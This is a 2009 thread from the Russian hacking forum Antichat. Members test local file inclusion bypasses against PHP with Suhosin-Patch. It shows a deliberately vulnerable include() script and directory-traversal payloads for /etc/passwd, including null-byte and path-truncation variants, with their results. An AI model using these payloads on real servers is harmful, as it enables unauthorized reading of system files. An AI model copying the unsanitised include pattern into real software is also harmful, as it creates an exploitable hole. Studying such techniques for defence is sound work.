Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   null byte в PHP c последними версиями Suhosin-Patch (https://forum.antichat.xyz/showthread.php?t=158539)

(Dm) 22.11.2009 22:15

null byte в PHP c последними версиями Suhosin-Patch
 
PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28

suhosin - advanced protection module for php5
В обычном PHP, без Suhosin патча, null byte работает при magic_quotes_gpc = OFF, но не работает замена null byte (////[4096]////)

Провел исследование для PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28 и оно не очень так сказать хорошее (

Скрипт (обычный LFI):
PHP код:

<pre>
<?php
if (isset($_GET['p'])) {
    echo 
"PATH: ".$_GET['p']."\n";
    include(
"./".$_GET['p'].".txt");
} else {
    echo 
"Переменная не определена\r\n";
}
?>
</pre>

Результаты при magic_quotes_gpc = OFF и magic_quotes_gpc = ON не отличаются.

1. test.php?p=../../../../../../../etc/passwd

Результат:
Цитата:

PATH: ../../../../../../../etc/passwd
Failed opening './../../../../../../../etc/passwd.txt'

2. test.php?p=../../../../../../../etc/passwd%00

Результат:
Цитата:

Переменная не определена

3. test.php?p=../../../../../../../etc/passwd//////[4096]/////


Результат:
Цитата:

Переменная не определена

4. test.php?p=../../../../../../../etc/passwd//////[1024]/////


Результат:
Цитата:

Переменная не определена

5. test.php?p=../../../../../../../etc/passwd//////[512]/////


Результат:
Цитата:

Переменная не определена
Если объявить переменную:
Цитата:

$_GET['p'] = "../../../../../../../etc/passwd\x00";
Работает
Цитата:

$_GET['p'] = "../../../../../../../etc/passwd///////[4096]//////";
Не работает.
PS если что-то не так поправьте

Ins3t 22.11.2009 22:46

Хмм, на PHP 5.2.9 еще все работало.

Обновлю, гляну.

(Dm) 22.11.2009 23:04

Цитата:

Сообщение от Ins3t
Хмм, на PHP 5.2.9 еще все работало.

Обновлю, гляну.

Хм, проверил на версии PHP Version 5.2.11 (CentOS) без Suhosin от Oct 7 2009 08:33:09, там работает.
А у меня PHP 5.2.10-2ubuntu6.1 с Suhosin от Oct 29 2009 19:02:41 не пашет.

Разобрался! Обновил пост.

m0Hze 23.11.2009 08:00

Цитата:

$_GET['p'] = "../../../../../../../etc/passwd\x00";
Работает
Цитата:

$_GET['p'] = "../../../../../../../etc/passwd///////[4096]//////";
Не работает
.
Если мне не изменяет память,второй вариант и не должен работать при таком наборе данных.Тоесть,если переменная определена в движке,прямо в коде,то неважно сколько символов она в себя включает.Обрезание производиться,когда данные поступают из веба.Помоему.Может и не так,поправьте.

Pashkela 23.11.2009 08:02

if (isset($_GET['p'])) - а откуда здесь данные берутся, как не "из веба"? Ничего тут не определенно, обычнейший GET

m0Hze 23.11.2009 08:13

Цитата:

Сообщение от Pashkela
if (isset($_GET['p'])) - а откуда здесь данные берутся, как не "из веба"? Ничего тут не определенно, обычнейший GET

Мы непоняли друг друга паш :(

m0Hze 23.11.2009 08:16

Цитата:

Сообщение от [Raz0r
]
PHP в зависимости от платформы имеет ограничение на длину пути, определяемой константой MAX_PATH, в результате чего все символы, находящиеся за пределами этого значения, отбрасываются.

Все верно,значит я с чем-то спутал.

(Dm) 23.11.2009 08:53

Цитата:

Сообщение от m0Hze
.
Если мне не изменяет память,второй вариант и не должен работать при таком наборе данных.Тоесть,если переменная определена в движке,прямо в коде,то неважно сколько символов она в себя включает.Обрезание производиться,когда данные поступают из веба.Помоему.Может и не так,поправьте.

Cам проверь и тогда поймешь что где обрезается =)
Цитата:

Если мне не изменяет память
Постить на догадках - бред, да мало-ли что может быть.
Так что меньше пустословия, больше фактов... за тобой я это давно уже заметил.


Время: 22:33